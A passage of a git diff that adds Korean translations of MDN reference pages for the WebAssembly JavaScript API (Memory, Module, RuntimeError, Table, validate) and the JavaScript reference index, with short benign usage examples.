+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial WebAssembly draft definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Definition of standard NativeError types.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.LinkError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html
new file mode 100644
index 0000000000..96b1614fff
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/memory/index.html
@@ -0,0 +1,112 @@
+---
+title: WebAssembly.Memory()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Memory()</strong></code> 생성자는 WebAssembly <code>Instance</code>가 액세스하는 메모리의 원시 바이트를 가진 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>(크기조정이 가능)인 새 <code>Memory</code> 객체를 만듭니다.</p>
+
+<p>메모리는 자바스크립트 혹은 WebAssembly 코드 안에서 만들어지며 자바스크립트 그리고 WebAssembly에서 접근하거나 변경이 가능합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var myMemory = new WebAssembly.Memory(memoryDescriptor);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>memoryDescriptor</em></dt>
+ <dd>다음의 멤버를 가질수 있는 객체입니다.
+ <dl>
+ <dt><em>initial</em></dt>
+ <dd>WebAssembly Page의 단위별 WebAssembly 메모리의 초기 크기입니다.</dd>
+ <dt><em>maximum {{optional_inline}}</em></dt>
+ <dd>WebAssembly 메모리의 최대 크기는 WebAssembly 페이지 단위로 증가 할 수 있습니다. 이 매개 변수가 있으면 <code>maximum</code> 매개 변수는 엔진에 대해 메모리를 전면에 예약하도록 합니다. 그러나 엔진은 이 예약 요청을 무시하거나 클램핑 할 수 있습니다. 일반적으로 대부분의 WebAssembly 모듈은 <code>maximum</code> 값을 설정할 필요가 없습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: WebAssembly 페이지의 크기는 65,536 바이트로 64KiB로 고정되어 있습니다.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>memoryDescriptor</code>가 object 유형이 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li><code>maximum</code>이 지정되고 <code>initial</code>보다 작은 경우 {{jsxref ( "RangeError")}}가 발생합니다.</li>
+</ul>
+
+<h2 id="Memory_instances"><code>Memory</code> instances</h2>
+
+<p>모든 <code>Memory</code> 인스턴스는 <code>Memory()</code>생성자의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/prototype">prototype object</a>를 상속합니다.이 인스턴스는 모든 <code>Memory</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<dl>
+ <dt><code>Memory.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Memory()")}} 생성자입니다.</dd>
+ <dt>{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}</dt>
+ <dd>메모리에 포함 된 버퍼를 반환하는 접근 자 속성입니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}</dt>
+ <dd>지정된 수의 WebAssembly 페이지 (각각 64KB 크기)만큼 메모리 인스턴스의 크기를 늘립니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p><code>WebAssembly.Memory</code> 객체를 가져 오는 두 가지 방법이 있습니다. 첫 번째 방법은 JavaScript에서 생성하는 것입니다. 다음 예제에서는 초기 크기가 10 페이지 (640KiB)이고 최대 크기가 100 페이지 (6.4MiB) 인 새 WebAssembly 메모리 인스턴스를 만듭니다.</p>
+
+<pre class="brush: js">var memory = new WebAssembly.Memory({initial:10, maximum:100});</pre>
+
+<p><code>WebAssembly.Memory</code> 객체를 가져 오는 두 번째 방법은 WebAssembly 모듈에서 내보냅니다. 다음 예제는 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a>을 보세요. <a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">라이브로 보기</a>) 생성된 메모리를 가져 오는 동안 {{jsxref("WebAssembly.instantiateStreaming()")}} 메소드를 사용하여로드 된 memory.wasm 바이트 코드를 가져 와서 인스턴스화합니다. 위의 줄에. 그런 다음 메모리에 일부 값을 저장 한 다음 함수를 내 보낸 다음 일부 값의 합계에 사용합니다.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj =&gt; {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i &lt; 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblymemory-objects', 'Memory')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Memory")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html
new file mode 100644
index 0000000000..814835fd00
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/module/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.Module
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.Module</code></strong> 객체는 브라우저에서 이미 컴파일 된 stateless WebAssembly 코드를 포함하며 효율적으로 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage">Workers와 공유</a>하고 여러 번 인스턴스화 할 수 있습니다. 모듈을 인스턴스화하려면 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Secondary_overload_%E2%80%94_taking_a_module_object_instance">WebAssembly.instantiate() 2차 오버로드를 호출</a>하세요.</p>
+
+<p><code>WebAssembly.Module()</code> 생성자 함수를 호출하여 지정된 WebAssembly 바이너리 코드를 동기식으로 컴파일 할 수 있습니다. 그러나 <code>Module</code>을 쓰는 주된 방법은 {{jsxref ( "WebAssembly.compile ()")}}과 같은 비동기 컴파일 함수를 사용하는 것입니다.</p>
+
+<h2 id="생성자_구문">생성자 구문</h2>
+
+<div class="warning">
+<p><strong>Important: </strong>대형 모듈의 컴파일은 비용이 많이들 수 있으므로 개발자는 동기 컴파일이 절대적으로 필요한 경우에만 Module () 생성자를 사용해야합니다. 비동기 {{jsxref ( "WebAssembly.compileStreaming ()")}} 메서드를 사용하세요.</p>
+</div>
+
+<pre class="syntaxbox">var myModule = new WebAssembly.Module(bufferSource);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>bufferSource</em></code></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>또는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h2 id="Function_Properties_of_the_Module_Constructor">Function Properties of the <code>Module</code> Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/customSections", "WebAssembly.Module.customSections()")}}</dt>
+ <dd>모듈(<code>Module</code>)과 문자열이 주어지면 모듈의 모든 사용자 정의 섹션 내용의 사본을 주어진 문자열 이름으로 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/exports", "WebAssembly.Module.exports()")}}</dt>
+ <dd>모듈(<code>Module</code>)이 주어지면 선언 된 모든 내보내기에 대한 설명이 들어있는 배열을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/WebAssembly/Module/imports", "WebAssembly.Module.imports()")}}</dt>
+ <dd>모듈(<code>Module</code>)이 주어지면 선언 된 모든 가져오기에 대한 설명이 들어있는 배열을 반환합니다.</dd>
+</dl>
+
+<h2 id="Module_instances"><code>Module</code> instances</h2>
+
+<p>모든 <code>Module</code> 인스턴스는 <code>Module()</code> 생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Module</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype', 'Properties')}}</p>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>모듈 인스턴스에는 기본 메서드가 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Module")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html
new file mode 100644
index 0000000000..ebd8da6f46
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html
@@ -0,0 +1,111 @@
+---
+title: WebAssembly.RuntimeError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.RuntimeError()</strong></code><strong> </strong>생성자는 WebAssembly에서 <a href="http://webassembly.org/docs/semantics/#traps">trap</a>을 지정할 때마다 throw되는 새 WebAssembly <code>RuntimeError</code> 객체를 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new WebAssembly.RuntimeError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>인간이 읽을 수있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>RuntimeError</code> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.RuntimeError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.RuntimeError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.RuntimeError.prototype.name")}}</dt>
+ <dd>오류 이름. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.RuntimeError.prototype.fileName")}}</dt>
+ <dd>이 오류를 발생시킨 파일의 경로입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.RuntimeError.prototype.lineNumber")}}</dt>
+ <dd>이 오류가 발생한 파일의 행 번호입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.RuntimeError.prototype.columnNumber")}}</dt>
+ <dd>이 오류가 발생한 행의 열 번호입니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.RuntimeError.prototype.stack")}}</dt>
+ <dd>스택 추적. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>RuntimeError</code> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.RuntimeError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 평가 될 수있는 코드를 반환합니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.RuntimeError.prototype.toString()")}}</dt>
+ <dd>지정된 <code>Error</code> 객체를 나타내는 문자열을 반환합니다. {{jsxref ( "Error")}}에서 상속됩니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음의 스니펫은, 새로운 RuntimeError 인스턴스를 작성해, 그 상세를 콘솔에 기록합니다.</p>
+
+<pre class="brush: js">try {
+ throw new WebAssembly.RuntimeError('Hello', 'someFile', 10);
+} catch (e) {
+ console.log(e instanceof RuntimeError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "RuntimeError"
+ console.log(e.fileName); // "someFile"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial WebAssembly draft definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Definition of standard NativeError types.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.RuntimeError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html
new file mode 100644
index 0000000000..9d86fe40c7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/table/index.html
@@ -0,0 +1,130 @@
+---
+title: WebAssembly.Table()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Table()</strong></code> 생성자는 지정된 크기 및 요소 유형의 새 <code>Table</code> 객체를 만듭니다.</p>
+
+<p>이것은 자바 스크립트 래퍼 객체로, 함수 참조를 저장하는 WebAssembly 테이블을 나타내는 배열과 같은 구조입니다. JavaScript 또는 WebAssembly 코드로 작성된 테이블은 JavaScript 및 WebAssembly에서 액세스 및 변경할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 테이블은 현재 function references만 저장할 수 있지만 나중에 확장 될 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var myTable = new WebAssembly.Table(tableDescriptor);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>tableDescriptor</em></dt>
+ <dd>다음 멤버를 포함 할 수있는 객체입니다:
+ <dl>
+ <dt><em>element</em></dt>
+ <dd>테이블에 저장 될 값 유형을 나타내는 문자열. 현재로서는 <code>"anyfunc"</code>(함수) 값만있을 수 있습니다.</dd>
+ <dt><em>initial</em></dt>
+ <dd>WebAssembly 테이블의 초기 요소 수입니다.</dd>
+ <dt><em>maximum {{optional_inline}}</em></dt>
+ <dd>WebAssembly 테이블의 최대 증가 요소 수입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>tableDescriptor</code>가 object 유형이 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li><code>maximum</code>이 지정되고 initial보다 작은 경우 {{jsxref ( "RangeError")}}가 발생합니다.</li>
+</ul>
+
+<h2 id="Table_instances"><code>Table</code> instances</h2>
+
+<p>모든 <code>Table</code> 인스턴스는 <code>Table()</code>생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Table</code> 인스턴스에 적용되도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<dl>
+ <dt><code>Table.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Table()")}} 생성자입니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}</dt>
+ <dd>테이블의 길이, 즉 요소의 수를 돌려줍니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<dl>
+ <dt>{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}</dt>
+ <dd>접근 자 함수 - 주어진 색인에 저장된 요소를 가져옵니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}</dt>
+ <dd>지정된 요소 수만큼 Table 인스턴스의 크기를 늘립니다.</dd>
+ <dt>{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}</dt>
+ <dd>지정된 인덱스에 격납되어있는 요소를, 지정된 값으로 설정합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (table2.html <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">source code</a> 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">live version</a> 참조)는 초기 크기가 2인 새 WebAssembly Table 인스턴스를 만듭니다. 그런 다음 두 개의 인덱스 (표 {{jsxref ( "WebAssembly / Table / get", "Table.prototype.get ()")}}를 통해 검색하여 테이블의 길이와 내용을 인쇄합니다. 길이가 2이고 {{jsxref ( "null")}}이 두개라고 출력됩니다.</p>
+
+<pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+console.log(tbl.length); // "2"
+console.log(tbl.get(0)); // "null"
+console.log(tbl.get(1)); // "null"</pre>
+
+<p>그런 다음 테이블을 포함한 <code>importObj</code>를 만듭니다.</p>
+
+<pre class="brush: js">var importObj = {
+ js: {
+ tbl:tbl
+ }
+};</pre>
+
+<p>마지막으로 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메소드를 사용하여 wasm 모듈 (table2.wasm)을 로드하고 인스턴스화합니다. table2.wasm 모듈에는 두 개의 함수 (하나는 42를 반환하고 다른 하나는 83을 반환하는 함수)가 들어 있고 가져온 테이블의 요소 0과 1에 둘 다 저장합니다 (<a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">text representation</a> 참조). 인스턴스화 후에도 테이블의 길이는 여전히 2이지만 JS에 호출 할 수있는 호출 가능한 <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly Functions</a>가 요소에 포함됩니다.</p>
+
+<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
+.then(function(obj) {
+  console.log(tbl.length);
+  console.log(tbl.get(0)());
+  console.log(tbl.get(1)());
+});</pre>
+
+<p>액세서의 끝 부분에 두 번째 함수 호출 연산자를 포함시켜 실제로 참조 된 함수를 호출하고 그 안에 저장된 값을 기록해야합니다 (예 : <code>get(0)</code> 대신 <code>get(0)()</code>).</p>
+
+<p>이 예제는 자바 스크립트에서 테이블을 만들고 액세스하고 있지만 wasm 인스턴스 내부에서도 같은 테이블을 볼 수 있고 호출 할 수 있음을 보여줍니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Table")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html
new file mode 100644
index 0000000000..a5ea4850e5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/validate/index.html
@@ -0,0 +1,75 @@
+---
+title: WebAssembly.validate()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/validate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.validate()</code> </strong>함수는 바이트가 유효한 wasm 모듈을 형성하는지 (<code>true</code>) 또는 생성하지 않는지 (<code>false</code>)를 반환하여 WebAssembly 바이너리 코드의 지정된 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a>의 유효성을 검사합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntax">WebAssembly.validate(bufferSource);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><em>bufferSource</em></code></dt>
+ <dd>유효성을 검사 할 WebAssembly 바이너리 코드가 들어있는 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>bufferSource</code>가 유효한 wasm 코드 (<code>true</code>)인지 아닌지 (<code>false</code>)를 지정하는 부울입니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p><code>bufferSource</code>가 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed array</a>이나 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>가 아닌 경우 {{jsxref ( "TypeError")}}가 발생합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (validate.html <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/validate.html">source code</a> 참조 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/validate.html">see it live</a>)는 .wasm 모듈을 가져 와서 형식화 된 배열로 변환합니다. 그런 다음 <code>validate()</code> 메서드를 사용하여 모듈이 유효한지 확인합니다.</p>
+
+<pre class="brush: js">fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(function(bytes) {
+  var valid = WebAssembly.validate(bytes);
+  console.log("The given bytes are "
+ + (valid ? "" : "not ") + "a valid wasm module");
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblyvalidate', 'validate()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.validate")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/index.html b/files/ko/web/javascript/reference/index.html
new file mode 100644
index 0000000000..c7d883f2b1
--- /dev/null
+++ b/files/ko/web/javascript/reference/index.html
@@ -0,0 +1,48 @@
+---
+title: JavaScript 참고자료
+slug: Web/JavaScript/Reference
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference
+---
+<div>{{JsSidebar}}</div>
+
+<p>MDN 내 JavaScript 절의 이 부분은 JavaScript 언어에 관한 정보 저장소(facts repository)로 쓸 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/About">이 참고서에 관하여</a>를 더 읽어보세요.</p>
+
+<h2 id="전역_객체들">전역 객체들</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects">JavaScript 표준 내장 객체</a>를, 메서드 및 속성(property)을 위주로 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects', '항목별_표준_객체')}}</div>
+
+<h2 id="문">문</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Statements" title="JavaScript statements and declarations">JavaScript 문 및 선언</a>을 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Statements', '항목별_문_및_선언')}}</div>
+
+<h2 id="표현식_및_연산자">표현식 및 연산자</h2>
+
+<p>이 장은 모든 <a href="/ko/docs/Web/JavaScript/Reference/Operators" title="JavaScript expressions and operators">JavaScript 표현식 및 연산자</a>를 문서화합니다.</p>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Operators', '항목별_식_및_연산자')}}</div>
+
+<h2 id="함수">함수</h2>
+
+<p>이 장은 응용 프로그램을 개발하기 위해 <a href="/ko/docs/Web/JavaScript/Reference/Functions">JavaScript 함수</a>로 작업하는 법을 문서화합니다.</p>
